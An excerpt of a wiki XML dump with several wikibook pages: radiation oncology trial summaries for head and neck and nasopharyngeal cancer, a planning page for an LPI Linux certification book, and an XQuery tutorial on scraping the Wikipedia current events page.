**'''2008''' {{PMID|19032398}} -- &quot;Randomized study of percutaneous endoscopic gastrostomy versus nasogastric tubes for enteral feeding in head and neck cancer patients treated with (chemo)radiation.&quot; (Corry J, J Med Imaging Radiat Oncol. 2008 Oct;52(5):503-10.)
***Outcome: No difference in absolute weight, upper arm circumference at 6 weeks post treatment. No difference in weight loss at 6 months. Median duration of use PEG 4.6 months vs. NGT 2.2 months (SS)
***Toxicity: No difference in G3 dysphagia. PEG site infections 27%, NGT dislodgement 61%. No difference in chest infection. QoL overall no difference, but more pain with PEG (SS), more inconvenience with NGT (SS), more altered body image with NGT (SS) during first week. No difference at removal.
***Cost: NGT $76 vs. PEG $736
***Conclusion: No evidence to support routine use of PEG tubes over NGT

===Hyperbaric Oxygen===
*'''Erasmus Medical Center''' (2006-2007) -- RT +/- HBO
**Randomized. ''Trial stopped prematurely due to slow accrual and lack of financial support.'' 19 of expected 132 patients, oropharynx or nasopharynx. Standard RT, then Arm 1) HBO vs. Arm 2) control. HBO given in 30 sessions @ 2.5 ATA x 90 minutes, started within 2 days after RT completion. Primary outcome toxicity
**'''2009''' {{PMID|19386439}} -- &quot;Early hyperbaric oxygen therapy for reducing radiotherapy side effects: early results of a randomized trial in oropharyngeal and nasopharyngeal cancer.&quot; (Teguh DN, Int J Radiat Oncol Biol Phys. 2009 Nov 1;75(3):711-6. Epub 2009 Apr 20.)
***Outcome: Significant improvement in QoL for HBO, particularly swallowing, stickly saliva, xerostomia, and pain in mouth
***Conclusion: HBO after RT results in better quality of life</text>
      <sha1>90woa62ib8mxubp7bv9w73hrld1bu8x</sha1>
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  </page>
  <page>
    <title>LPI Linux Certification/Plan</title>
    <ns>0</ns>
    <id>133783</id>
    <revision>
      <id>4670463</id>
      <parentid>984919</parentid>
      <timestamp>2026-09-16T16:42:00Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
      <origin>4670463</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6842" sha1="r6ypvjr9w37reaij2uvosc3c7jynnyg" xml:space="preserve">V1.0
== Introduction ==
I am not sure all will agree, but looking through the pages of the book it all appeared a little to dry to me. Some topics i felt need expanding and the structure of each page could do with some useful Tips boxes, Revision Boxes etc. the layout needs a little overhaul. Personally looking through the wiki books already in place i liked the Introduction/Audience/TOC on the front page keep it is clean and easy to navigate. The LPI books Covers a serious amount of ground in Linux as it is a very comprehensive set of exams so we are going to tread on toes or look to possible mergers.

== Audience ==
LPI Candidates - we need to make the book to mostly capture this audience and the structure should be a cover to cover read with links to deeper articles explaining concepts, links to further revising points. I like the &quot;for dummy's&quot; Idea of a splatering of &quot;Top Tips&quot; &quot;Know This&quot; &quot; Be Carefull Here&quot; &quot;workshops&quot; etc.
&lt;br&gt;
The i need to find something out brigade - Although we need to stick strictly too the LPI, This book will  contain valuable snippets of &quot;how-to&quot; type documents especially as we move on to such topics as bash scripting, kernel compiles, Samba, NFS, etc. So we need to make this information easy to find and each article not Section should stand on it's own merits. We can make this format easily fit in with the cover to cover version. And the front page TOC should help a lot with the navigation.

== Overall layout  Suggested front Page ==
Stop!! Don't Create these pages yet this is a suggested way forward :)

*[[LPI Linux Certification/Junior Level Linux Professional]] &lt;---- Exam Page
**Hardware &amp; Architecture &lt;---- Section Header
***[[LPI Linux Certification/Configuring The BIOS]] &lt;---- Module Page
***[[LPI Linux Certification/Configuring Modem &amp; Sound Cards]]&lt;---- Module Page
***[[LPI Linux Certification/Setup SCSI Devices]]&lt;---- Module Page
***[[LPI Linux Certification/Setup Different PC Expansion Cards]]&lt;---- Module Page
***[[LPI Linux Certification/Configure Communications Devices]]&lt;---- Module Pages
***[[LPI Linux Certification/Configuring USB Devices]]&lt;---- Module Page
**Linux Installation &amp; Package Management &lt;---- Section Header

So the reader will be presented with this obviously

*[[LPI_Linux_Certification/Junior Level Linux Professional|Junior Level Linux Professional]]
**Hardware &amp; Architecture
***[[LPI Linux Certification/Configuring The BIOS|Configuring The BIOS]]
***[[LPI Linux Certification/Configuring Modem &amp; Sound Cards|Configuring Modems &amp; Sound Cards]]
***[[LPI Linux Certification/Setup SCSI Devices|Setup SCSI Devices]]
***[[LPI Linux Certification/Setup Different PC Expansion Cards|Setup Different PC Expansion Cards]]
***[[LPI Linux Certification/Configure Communications Devices|Configure Communications Devices]]
***[[LPI Linux Certification/Configuring USB Devices|Configuring USB Devices]]
**Linux Installation &amp; Package Management

The above will kind of form our front page TOC with perhaps a external root link to the LPI web site as a resource.

== A little More detail on Layout ==
*Front Page
Introduction should include target Audience, What to expect, Explanation of Section and page layout, TOC.
&lt;br&gt;
*Section Pages   
Should contain Objectives of each module, List what you should know before you start each module and links to further reading to help prepare the reader in that regard. Caveats may go here?
&lt;br&gt; 
*Module Pages   
Should contain an Introduction of the subject, An example of the subject, Further reading, The course has related components such as hardware relates to /proc and /dev pseudo file systems these should also be listed with links for further reading. Note Warnings should be given where tools or the student may be led to try things out on there computer that might make it inoperable Such as hdparm, fdisk, BIOS settings etc. (I know they should know better but we are not at work and that old &quot;Your the new guy!! emmm here is the boss's laptop he has been complaining that the boot process is too slow can you change some stuff in the BIOS to speed it up?&quot; Routine may not go down well :). 
         
== Moving Forward ==
Here's where i would like some advice. How do we go about this do we work in tandem with the original site ie create the new pages and change the front page as new content comes online? Do we create a new front page with a link to the old section and work alongside. There is a lot of original content that effectively gives us the objectives etc that all looks reasonable and accurate which will save us some work. If i don't hear or see any input i will just work away on it.      
&lt;br&gt;  
As has been suggested in the discussion page, we will also need to keep in mind that the administration of the book be as simple as possible. An idea put forward is a flatter structure to the book. Further, to this we may want to avoid using links where possible, try to keep the content generic and on topic. We will need to work at a balance I am well aware for instance that wikipedia has an excellent article on the definition and role of a computer BIOS. We should not need to write that all out here clearly maintaining that link is preferable, rather i see us complementing that article with a run down of the menu system within the BIOS. How various options within the BIOS work?     

== Consistency ==
For reasons only my mother would understand i took it upon myself whilst writing out the front page TOC to use ampersands through out. Further i used uppercase letters at the beginning of each word!! When it came to merge the contents from the original book that i realised what a pain this was. It had one good side effect it has caused me to go through all the original menus and make sure they tally both with the current LPI spec as well as my own menus. I guess it now makes sense to maintain this format, obviously not crucial but may make sense? Darklama has suggested the use - instead / in all links. which i have to admit beats my slash idea.     
&lt;br&gt;    
Please post all comments on the discussion page, if the ideas are good then we will move them into here.

== completed thus far ==
I have now completed the up to date detailed objectives for LPI101 &lt;br&gt;
I have also completed the full TOC and ratified with LPI for LPI101 &lt;br&gt;
I have also completed all merge of data from old book to new book into each new sections for LPI101&lt;br&gt;
left to do is the cleanup for data merge for this has now been completed LPI101&lt;br&gt;
LPI102 - add detailed Objectives completed&lt;br&gt;
LPI102 Ratify the TOC with LPI completed &lt;br&gt;
Merge of old book to new now completed

== Now merge has been completed we move on ==
I have formatted the front page so that it looks a lot better and reads better too. &lt;br&gt;
currently i am now working on the junior level exam page   
{{subject|linux}}</text>
      <sha1>r6ypvjr9w37reaij2uvosc3c7jynnyg</sha1>
    </revision>
  </page>
  <page>
    <title>XQuery/Wikipedia Page scraping</title>
    <ns>0</ns>
    <id>134892</id>
    <revision>
      <id>4670461</id>
      <parentid>3831914</parentid>
      <timestamp>2026-09-16T16:41:15Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
      <origin>4670461</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3516" sha1="r4oql142s4gmkj0r29cni6faa6611zu" xml:space="preserve">Page scraping allows any web page to be the source of raw data suitable for transformation. This example takes the data on the Wikipedia current events page [http://en.wikipedia.org/wiki/Portal:Current_events/2007_September_24 24 September 2007] and transforms to a [http://www.cems.uwe.ac.uk/xmlwiki/wikidate.xq?date=2007-09-24 simple HTML page]

The key components of an XQuery page scraper are:

# The fn:doc function which accepts a URL and retrieves the page as XML.  Many pages are not well-formed XML, but the Wikipedia pages are.
#Setting a namespace if the page has a default namespace. This page has a default namespace of &quot;http://www.w3.org/1999/xhtml&quot; so a namespace must be declared and its namespace prefix used in path expressions which access the page's XML.
# Identification of a path to the selected content. In this case, the content is located in a td tag with a class of 'description'
# Re-basing any relative URLs.  Here the links to Wikipedia articles have relative URLs.  To re-base these, the XML is serialized to a string with util:serialize(), the relative URLs edited with replace, and the string  converted back to XML using util:parse()

== Sample XQuery to Extract Data from Wikipedia Current Events Page ==
In this example, there is some date re-formatting to do since the date format in the page's URL is not the XML formatted date. Links to the previous and next days are included, making use of XQuery date arithmetic.

&lt;syntaxhighlight lang=&quot;XML&quot;&gt;
declare namespace h= &quot;http://www.w3.org/1999/xhtml&quot; ;
declare option exist:serialize &quot;method=xhtml media-type=text/html indent=yes&quot;;
declare variable $months := 
 (&quot;January&quot;,&quot;February&quot;,&quot;March&quot;,&quot;April&quot;,&quot;May&quot;,&quot;June&quot;,&quot;July&quot;,&quot;August&quot;,&quot;September&quot;,&quot;October&quot;,&quot;November&quot;,&quot;December&quot;)
;
declare function local:wikidate($date as xs:date) as xs:string {
      concat(year-from-date($date),&quot;_&quot;,
                   $months[month-from-date($date)],&quot;_&quot;,
                   day-from-date($date)
                   )
};
declare function local:displaydate($date as xs:date) as xs:string {
      concat(day-from-date($date),&quot; &quot;,
                   $months[month-from-date($date)],&quot;, &quot;,
                   year-from-date($date)
                   )
};

declare function local:add-base($element , $base as xs:string, $delimiter as xs:string)   {
    let $evtext := util:serialize($element,())
    let $evtext := replace($evtext,
                           concat (&quot;href=&quot;,$delimiter,&quot;/&quot;),
                           concat(&quot;href=&quot;,$delimiter,$base,&quot;/&quot;)
                   )
    return util:parse($evtext)
};

let $date := xs:date(request:get-parameter(&quot;date&quot;,()))
let $wikidate := local:wikidate($date)
let $url := concat(&quot;http://en.wikipedia.org/wiki/Portal:Current_events/&quot;,$wikidate)
let $wikipage := doc($url)
let $desc := $wikipage//h:td[@class=&quot;description&quot;]
let $nextDay := $date + xs:dayTimeDuration(&quot;P1D&quot;)
let $previousDay := $date - xs:dayTimeDuration(&quot;P1D&quot;)
return
&lt;html&gt;
   &lt;body&gt;
    &lt;h1&gt;Current events from &lt;a href=&quot;{$url}&quot;&gt;Wikipedia&lt;/a&gt;&lt;/h1&gt;
      &lt;h2&gt;Wiki Events for        
                &lt;span style=&quot;font-size:12;&quot;&gt;&lt;a href=&quot;wikidate.xq?date={$previousDay}&quot;&gt;{local:displaydate($previousDay)}&lt;/a&gt;&lt;/span&gt;&amp;#160;
               {local:displaydate($date)}
               &lt;span style=&quot;font-size:12;&quot;&gt;&lt;a href=&quot;wikidate.xq?date={$nextDay}&quot;&gt;{local:displaydate($nextDay)}&lt;/a&gt;&lt;/span&gt;&amp;#160;
      &lt;/h2&gt;
            {
            local:add-base($desc/*,&quot;http://en.wikipedia.org&quot;,'&quot;')
            }
   &lt;/body&gt;
&lt;/html&gt;
&lt;/syntaxhighlight&gt;

{{BookCat}}</text>
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    </revision>
  </page>
  <page>
    <title>Radiation Oncology/Head &amp; Neck/Nasopharynx/Overview</title>
    <ns>0</ns>
    <id>146848</id>
    <revision>
      <id>4670583</id>
      <parentid>4100087</parentid>
      <timestamp>2026-09-17T06:41:07Z</timestamp>
      <contributor>
        <username>Jcb</username>
        <id>90773</id>
      </contributor>
      <origin>4670583</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9246" sha1="nsxcc4gjhxmp8x0xgz55y53j3e0p32i" xml:space="preserve">{{:Radiation_Oncology:TOC}}


&lt;big&gt;'''Nasopharyngeal Cancer Overview'''&lt;/big&gt;


==Epidemiology==
*Markedly different geographical prevalence
**Rare in the US: 0.2-0.5 cases per 100,000 people
**Common in China, Hong Kong and Taiwan: 25-50 per 100,000. Accounts for ~5% of all cancers and ~50% of H&amp;N cancers in Taiwan
**Also common in North Africa, the Middle East, and in Inuits  
*Association with salted fish, Ebstein-Barr virus
*Smoking and alcohol don't have a clear association with the disease
*In general, affects a younger population
*Up to 90% present with N+ disease, and ~50% have bilateral N+ disease

==Clinical Presentation==
*Most commonly presents with a neck mass
*Refractory otitis media, epixtaxis, referred ear pain, cranial neuropathy
**Most common cranial nerves affected are VI and V2 by tumor extension through foramen lacerum into cavernous sinus
*Syndromes:
**Jacod's: compression of CN II-VI by extension into cavernous sinus, leading to ophthalmoplegia, blindness, and trigeminal neuralgia &lt;!-- COMMENT: see Companion to Clinical Neurology by William Pryse-Phillips (2003) p.504 -- http://books.google.com/books?id=pMbhu-vXVtAC&amp;pg=PA504&amp;dq=jacod+syndrome&amp;hl=en&amp;sa=X&amp;ei=5JqOUPflBejV0QHC44HQBQ&amp;ved=0CD4Q6AEwAg#v=onepage&amp;q=jacod%20syndrome&amp;f=false --&gt;
**Villaret: compression of CN IX-XII by parapharyngeal nodes, leading to difficulty swallowing (IX), altered taste (IX), unilateral Horner's (X), paralysis of sternocleidomastoid/trapezius (XI), hemiglossal paralysis (XII)
**Vernet's syndrome (jugular foramen syndrome): compression of CN IX-XI by extension into jugular foramen, leading to difficulty swallowing, vocal cord paralysis, and paralysis of sternocleidomastoid/trapezius
**Trotter's triad (Sinus of Morgagni): unilateral conductive hearing loss (eustachian tube), impaired ipsilateral soft palate motility, and mandibular pain

==Anatomy==
*Includes vault, lateral walls, and posterior wall
*Anterior border begins at the end of the nasal cavity, at the posterior choana (where nasal septum disappears). Radiographically this can be seen as the posterior wall of the maxillary sinus. It extends along plane of the airway to the level of free border of the soft palate posteriorly
*Lateral walls consist of the torus tubarius (Eustachian tube opening), pharyngeal recess (Fossa of Rosenmuller) posterior to torus tubarius, and behind these are the superior pharyngeal constrictor muscles, and behind this is the medial pterygoid plate. 
*Superior border is the cribriform plate and sphenoid sinus.  Clivus consists of part of the sphenoid bone (behind the sinus, the tail end of the sella turcica) and part of the occipital bone and forms the posterior border of the nasopharynx. Hard and soft palates (the inferior border) sits about C2.  
*Eustachean tube passes through base of skull between foramen ovale and lacerum to reach nasopharynx
*Inferior border (floor) is the superior surface of the soft palate
*Cranial nerves are important since NPC may commonly extend along them intracranially:
**Cavernous sinus - III, IV, V1 + V2 (not V3), VI - (all pass through superior orbital fissure except V2 is through foramen rotundum)
**Foramen rotundum - V2
**Foramen ovale - V3 - anterolateral to clivus
**Foramen lacerum - lateral to front part of clivus - plugged with cartilage in vivo
**Jugular foramen - IX, X, XI - lateral to foramen magnum
**Hypoglossal canal - XII - lateral to foramen magnum
*Nearby is the tensor veli palatini, levator veli palatini
*Pharyngeal recess (Fossa of Rosenmuller)
**Postulated to be the origin of most NPC cancers
**Posterior to torus tubaris (posterior lip of the medial end of the cartilagenous eustachean tube)
**Herniation of nasopharyngeal mucosa through deficiency between skull base and superior-most fibers of pharyngeal constrictors
**{{PMID|1876886}} ([http://smj.sma.org.sg/3203/3203a9.pdf Full text for pictures]): &gt;50% are deeper than 1 cm (range 2mm - 19mm), and 90% are narrower than 5 mm. It points laterally ~45% from sagittal plane

==Pathology==
WHO classification:
*Type I: keratinizing squamous cell carcinoma - 20%
*Non-keratinizing carcinoma
**Type II: differentiated non keratinizing carcinoma (formerly transitional cell carcinoma)  - 30-40%
**Type III: undifferentiated non keratinizing carcinoma (formely lymphoepithelioma) - 40-50%
*Basaloid squamous cell carcinoma - recent distinction, appears aggressive with poor survival

==Spread==
*Spreads along walls of nasopharynx with local invasion
**Can spread to cavernous sinus through foramen lacerum (and involve CN III-VI [except V3]).
**Commonly has involvement of jugular foramen and hypoglossal canal (CN IX-XII).  
*65-90% have lymph node involvement at presentation  
**About 50% have bilateral lymph node involvement
**Cervical Level IIb seem to be the first echelon nodes in NPC, closely followed by lateral retropharyngeal LNs
**Retropharyngeal LN involvement is common, but difficult to detect on CT. In CT based studies, RLN were positive in 30-50%, while in MRI based studies this number may be as high as 80%
*Distant mets are less common at initial presentation but in recurrent disease are more common than in other H&amp;N cancers. 
**Mets correlate more with nodal status than T stage. 
**Distant Mets by N stage: N1=10-20%, N2=30-40%, N3=40-70%. 
*Spreads to bones &gt; lungs, liver, and brain.


===Retropharyngeal lymph nodes===
*It is not clear whether these are staged as N0 or N1, with differences among institutions
*Prognosis for RLN+ N0 appears comparable to N1
*RLNs atrophy with age, and are usually obliterated by adulthood. Normal axial diameter in patients &gt;40 year is ~3 mm. Therefore, some studies use minimal axial diameter &gt;=5 mm on MRI as a size criterion for RLN mets
*Most RLN+ are located at C1 level, and incidence decreases steadily from C1 to C3
*It appears that afferent lymphatic vessels of lateral RLN in NPC begin in the parapharyngeal space (T2 tumors); lymphatic drainage of nasal cavity, oropharynx, and pharyngeal wall (and thus lymphatic drainage of T3 and T4 tumors) may be primarily to cervical lymph nodes


*'''Singapore; 2009''' (1992-1994) {{PMID|19189339}} -- &quot;Retropharyngeal nodal metastasis related to higher rate of distant metastasis in patients with N(0) and N(1) nasopharyngeal cancer.&quot; (Tham IW, Head Neck. 2009 Feb 2. [Epub ahead of print])
**Retrospective. 667 patients, NPC, Stage T2-4 N0-1. RLN+ in 47% by CT. Median F/U 8.3 years
**Outcome: Patients with N0 and RLN+ had similar hazard for DM as patients with N1, and worse than patients with N0 and RLN-
**Conclusion: Patients with N0 disease and RLN lymph nodes share similar prognosis as patients with N1 disease

*'''Fudan, China; 2009''' {{PMID|18538502}} -- &quot;Patterns of retropharyngeal node metastasis in nasopharyngeal carcinoma.&quot; (Wang XS, Int J Radiat Oncol Biol Phys. 2009 Jan 1;73(1):194-201. Epub 2008 Jun 4.)
**Retrospective. 618 NPC patients. MRI staging. LN+ in 88%; RLN+ alone 6%, cervical LN+ alone 28%, both RLN and cervical LN 66%. Incidence of RLN lower 72% than cervical LN 93%
**Location of RLN: occipital bone 6%, C1 76%, C2 17%, C3 0.5%. Incidence significantly higher with parapharyngeal involvement
**Conclusion: Level IIb LNs seems first-echelon nodes in NPC; incidence of RLN mets decreases steadily in level

*'''Sun Yat-sen, China; 2007''' {{PMID|17332287}} -- &quot;Retropharyngeal lymph node metastasis in nasopharyngeal carcinoma: prognostic value and staging categories.&quot; (Ma J, Clin Cancer Res. 2007 Mar 1;13(5):1445-52.)
**Retrospective. 749 patients, NPC. RLN+ in 51% by CT
**Outcome: On multivariate analysis, in N0 patients, RLN+ independent predictor for OS, LRFS and DMFS. No difference in unilateral vs bilateral RLN+. Survival if N0 and RLN+ similar to survival if N+
**Conclusion: RLN mets affect prognosis in N0 patients, and should be classified as N1

==Response to treatment==
Despite rapid response to initial treatment, high incidence of local failure. 


==Treatment Overview==
*Surgery plays only a minimal role due to significant potential morbidity
*Historically, RT alone was used, and resulted in 5-year OS 35-50%
**Early-stage (I-II) outcomes were good, with 5-year RFS 75-95% and OS 70-80%
**However, advanced-stage (III-IV) 5-year RFS was ~50%, and OS only 10-40%
*Early stage disease (Stage I-II) typically continues to be managed with RT alone
*Advanced stage disease (Stage III-IV) is managed with concurrent chemo-RT; it is not clear whether there is any benefit to further adjuvant chemotherapy
*[[../Ho's Technique/|Ho's technique]]: developed by professor John HC Ho ({{PMID|16541482}}) in the late 1960s with extensive experience for three decades. Over 10,000 patients have been treated in Hong Kong with excellent long term results in early disease T1, T2, and T3. Total tumor dose was 62.5 Gy / 29 fx (biologically equivalent to 66 Gy / 33 fx).

==Surgery==
*Due to deep location of nasopharynx, and anatomic proximity to critical structures, radical surgery is typically not used
*Role of surgery is initially for biopsy for histological confirmation
*It may also be used for management of the neck for persistently enlarged lymph nodes
*Finally, there may be role in persistent or recurrent disease

{{BookCat}}</text>
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  <page>
    <title>Radiation Oncology/Head &amp; Neck/Nasopharynx/Early Stage</title>
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&lt;big&gt;'''Nasopharyngeal Cancer - Early Stage'''&lt;/big&gt;


==Overview==
*Early-stage (I-II) outcomes are good with radiation alone
*5-year RFS is 75-95% and OS is 70-80%
*Most historical series use 2D radiation, but several reports with a short follow up show good outcomes with IMRT
*IMRT in particular has significantly better sparing of the objective (stimulated/unstimulated flow) parotid function in a randomized setting
*Dose tends to be 66-72 Gy in 2 Gy/fraction; elective sites receive 50-60 Gy using dose painting

==ChemoRT for Stage II==
*'''Chinese Stage II Trial''' {{PMID|22056739}} -- &quot;Concurrent chemoradiotherapy vs radiotherapy alone in stage II nasopharyngeal carcinoma: phase III randomized trial.&quot; ('''Chen QY JNCI 2011''')
**Methods: 230/236 pts with stage II (used Chinese staging) NPC randomized to RT vs chemoRT with weekly cisplatin 30mg/m2 x 7c
***RT: Conventional 2D RT: 68-70Gy/34-35fx to primary, 60-62Gy to node positive neck, 50Gy to node negative neck
***Primary endpoint OS
**Results: Median f/u: 60 months
***ChemoRT improved:
****5 yr OS: 95% vs 86%, HR=0.30, P =0.007
****5 yr PFS: 88% vs 79%, HR 0.45, P=0.017
****5 yr DMFS: 95% vs. 84%, HR = 0.27, P =0.007
***No difference in LRC: 93% vs 91%, P=0.29
***Toxicity: More acute toxicity with chemoRT:64% vs 41% P = 0.001, no difference in late toxicity
**Conclusion: ChemoRT improves survival in stage II NPC

==Radiotherapy alone==
*'''Taiwan; 2005''' (1983-1998) {{PMID|15936544}} -- &quot;Treatment outcomes and late complications of 849 patients with nasopharyngeal carcinoma treated with radiotherapy alone.&quot; (Yeh SA, Int J Radiat Oncol Biol Phys. 2005)
**Retrospective. 849 consecutive NPC patients (Stage I 6%, Stage IIA 3%, Stage IIB 35%, Stage III 32%, Stage IVA 19%, Stage IVB 5% by AJCC-5), WHO type I 1%, II 62%, type III 37%. RT median 70 Gy, if BT boost median 74 Gy
**Outcome: 5-year OS 59%, DFS 52%; OS by Stage: I 82%, II 72%, III 55%, IVA 42%, IVB 39%
**Toxicity: xerostomia 90%, hearing impairment 54%, tinnitus 52%, Lhermitte's sign 21%, trismus 12%, temporal necrosis 6%

*RTOG (Marcial et al) - {{PMID|6993442}} (no abstract) &amp;mdash; complete response to local tumor, 96% for T1, 88% for T2, 81% for T3, and 74% for T4. For N+ neck, ranged from 93% to 71%.  5-year survival overall was 40%.

==Altered fractionation==
*'''RTOG 71-03''' (1971-1979)
**Randomized. 121 patients. All Stages. Arm 1) split course RT (30/10, 3 week rest, 30/10) vs. Arm 2) 66/33 or 66/30
**'''1980''' {{PMID|6993442}} -- &quot;Split-course radiation therapy of carcinoma of the nasopharynx: results of a national collaborative clinical trial of the Radiation Therapy Oncology Group.&quot; (Marcial VA, Int J Radiat Oncol Biol Phys. 1980 Apr;6(4):409-14.)
***5-year outcome: LC 86% vs. 80% (NS), LRC 86% vs. 78% (NS), DFS 40% vs. 30% (NS)
***Late toxicity: comparable, except edema worse with continuous RT (42% vs. 24%)
***Conclusion: No difference between fractionation schedules, less social impact with split course

*Wang et al.  - {{PMID|2720596}} &amp;mdash; Not randomized. Accelerated hyperfractionation (twice a day). Compared to similar stage patients treated with once a day XRT, and 5-year local control for T1-2 was 89% (hyperfract) vs 55%, and 77% vs 45% for T3-4.

==Treatment Technique==
===Use of IMRT===
*'''UCSF experience'''
**'''2000''' {{PMID|11020568}} &amp;mdash; &quot;Three-dimensional intensity-modulated radiotherapy in the treatment of nasopharyngeal carcinoma: the University of California-San Francisco experience.&quot; Sultanem K et al. Int J Radiat Oncol Biol Phys. 2000 Oct 1;48(3):711-22. 
***65-70 Gy to GTV (including + LN), 60 Gy to CTV, 50-60 Gy to the negative neck. Treated at 1.8 Gy per day to CTV and neck and 2.12-2.25 Gy/day to GTV. CTV consisted of entire nasopharynx, posterior 1/3 of nasal cavity and maxillary sinuses, retropharyngeal LN region, clivus, skull base, pterygoid fossae, parapharyngeal space, inferior sphenoid sinus.
***4-year local PFS was 97%, local-regional PFS 98%, and DM-free rate 66%.  4-year OS 88%
**'''2002''' {{PMID|12007936}} &amp;mdash; &quot;Intensity-modulated radiotherapy in the treatment of nasopharyngeal carcinoma: an update of the UCSF experience.&quot; Lee N et al. Int J Radiat Oncol Biol Phys. 2002 May 1;53(1):12-22. 
**'''2004''' Dose constraints {{PMID|15183492}}
***First group of pts treated with IMRT for the primary tumor and conventional fields for the lymph nodes. This group retrospectively reviewed to determine dose endpoints to critical normal structures. Second group of pts treated with IMRT to both primary and nodes. Based on dose endpoints defined, new plans were developed for the second group of pts and compared to the original plans.
***Prescription dose 70 Gy at 2.12 Gy/fx (33 fx) to GTV, 59.4 Gy at 1.8 to PTV. 

{| border=&quot;1&quot;
|+ '''UCSF IMRT Dose Constraints'''
|-
|'''Organ Max''' || '''T1-T2''' || '''T3-T4''' || '''Organ Limit''' || '''T1-T2''' || '''T3-T4'''
|-
|''Serial Organs''
|-
|Chiasm max || 27.5 || 42.7 || Chiasm 5% || 21.5 || 36.4
|-
|Spinal cord max || 38.3 || 42.2 || Spinal cord 1mL || 30.6 || 33.0
|-
|Brainstem max || 50.9 || 55.3 || Brainstem 5% || 40.4 || 43.1
|-
|Optic nerve || 23.7 || 41.6 || Optic nerve 5% || 22.2 || 34.4
|-
|Eye || 25.0 || 32.8 || Eye 5% || 13.5 || 21.9
|-
|''Parallel Organs''
|-
|Parotid mean || 26.8 || 27.8 || Parotid 50% || 25.1 || 24.6
|-
|TMJ mean || 33.8 || 38.0 || TMJ 50% || 30.5 || 36.7
|-
|Ear mean || 41.4 || 49.6 || Ear 50% || 38.3 || 49.8
|}


===Side Effect Trials===
'''IMRT salivary function'''
*'''Prince of Wales Hospital; 2007''' (Hong Kong)(2001-2003) {{PMID|17971582}} -- &quot;Prospective randomized study of intensity-modulated radiotherapy on salivary gland function in early-stage nasopharyngeal carcinoma patients.&quot; (Kam MK, J Clin Oncol. 2007 Nov 1;25(31):4873-9.)
**Randomized. 60 patients with T1-2bN0-1 nasopharynx. Arm 1) IMRT 66 Gy (CTV=GTV + 1cm; at-risk anatomic sites; LN Levels IB-II, LN upper Level V, LN retropharyngeal; PTV=CTV+3mm), lower neck LN+ 66 Gy anterior field, LN- 54-60 Gy + intracavitary BT boostvs. Arm 2) 66 Gy 2D + intracavitary BT boost
**Outcome: observer-rated severe xerostomia IMRT 39% vs. 2D-RT 82% (SS), stimulated parotid flow (SS), unstimulated parotid flow (SS), but no difference in patient-reported feeling of xerostomia
**Conclusion: IMRT superior in preserving objective parotid function, but no difference in patient-reported benefit
**Editorial ({{PMID|17971579}}): Observer-rated scoring underestimates patient reports and has low agreement among various observers. Suspect sparing of parotid alone not sufficient. Parotid gland produces saliva without mucins (lubricants, bind water, and provide selective permeability barrier). Mucin-secreting glands (e.g. minor salivary glands, submandibular glands) produce &lt;10% saliva but &gt;50% mucins. May need to spare these glands as well for subjective feeling of benefit

*'''Queen Mary Hospital; 2006''' (Hong Kong)(2000-2004) {{PMID|17145528}} -- &quot;Xerostomia and quality of life after intensity-modulated radiotherapy vs. conventional radiotherapy for early-stage nasopharyngeal carcinoma: initial report on a randomized controlled clinical trial.&quot; (Pow EH, Int J Radiat Oncol Biol Phys. 2006 Nov 15;66(4):981-91.) 
**Randomized. 51 patients, Stage II (T2N0-1, AJCC 1997). Arm 1) conventional RT 68 Gy, neck 66 Gy vs. Arm 2) IMRT, GTV dose 68-72 Gy, PTV 66-68 Gy. Stimulated whole (SWS) and parotid (SPS) saliva flow evaluated, QoL SF-36, EORTC Core, EORTC QLQ-H&amp;N35 questionnaires. Minimum F/U 1 years
**1-year outcome: 25% whole flow (SWS) IMRT 50% vs. 2D 5% (SS), 25% parotid flow (SPS) 83% vs. 9% (SS). At 2 months, both group had xerostomia, but IMRT group improved significantly better over time. Also improvements in QoL
**Conclusion: IMRT significantly better than conventional RT for salivary function and QoL


'''Middle ear ventilation tube'''
*'''Hong Kong; 2002''' {{PMID|12512893}} -- &quot;Randomized evaluation of the audiologic outcome of ventilation tube insertion for middle ear effusion in patients with nasopharyngeal carcinoma.&quot; (Ho WK, J Otolaryngol. 2002 Oct;31(5):287-93.)
**Randomized. ? patients. NPC and middle ear effusion. Arm 1) pre-RT ventilation tube insertion vs. Arm 2) observation. Audiologic assessment throughout. F/U 4 years
**Outcome: No difference in hearing changes up to 4 years
**Conclusion: Ventilation tube insertion before RT did not offer hearing benefit


'''Pointers'''
*Pre-treatment
**Nutrition consult, with consideration for G-tube
**Dental evaluation
*Set-up
**Supine, head extended
**Thermoplast mask to shoulders</text>
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    <title>Radiation Oncology/Head &amp; Neck/Nasopharynx/Advanced Stage</title>
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&lt;big&gt;'''Nasopharyngeal Cancer - Advanced Stage'''&lt;/big&gt;


==Chemotherapy with radiation==
*Because Stage III-IV NPC has a fairly poor prognosis with RT alone, multiple efforts were made to add chemotherapy to the regimen
*Induction chemotherapy was evaluated in 5 randomized trials; two showed small benefit for disease-free survival, but none showed an overall survival benefit. As a result, induction chemotherapy is currently not indicated
*Adjuvant chemotherapy was evaluated in 3 randomized trials; there was no benefit
*Phase II RTOG 81-17 demonstrated the feasibility of concurrent cisplatin with RT in advanced H&amp;N cancers; it included 22% NPC. Subsequent Intergroup trial 0099 showed a survival benefit for concurrent cisplatin with RT, followed by adjuvant chemotherapy. This was the first trial to do so; however, the RT only arm had an unexpectedly low survival, compared with results from RT alone in Asian (endemic) studies
*Concurrent chemo-RT benefits were confirmed by a randomized trial from Taiwan in an endemic population, which used concurrent cisplatin + 5-FU. However, a re-analysis of the data suggests that concurrent chemo-RT is only beneficial for &quot;low-risk&quot; advanced stage patients. &quot;High-risk&quot; advanced stage patients did not gain any benefit from that chemo regimen, and may require more intense, neoadjuvant, or further adjuvant chemotherapy 
*A Singaporean trial used the INT 0099 regimen, and again demonstrated a survival benefit
*Concurrent chemo-RT is now considered a standard of care in Stage III-IV NPC; given previously different staging, some IIB patients were included in the trials and may benefit from concurrent chemotherapy as well. The INT 0099 regimen is the best characterized; unfortunately, compliance with the regimen is only 60-70%
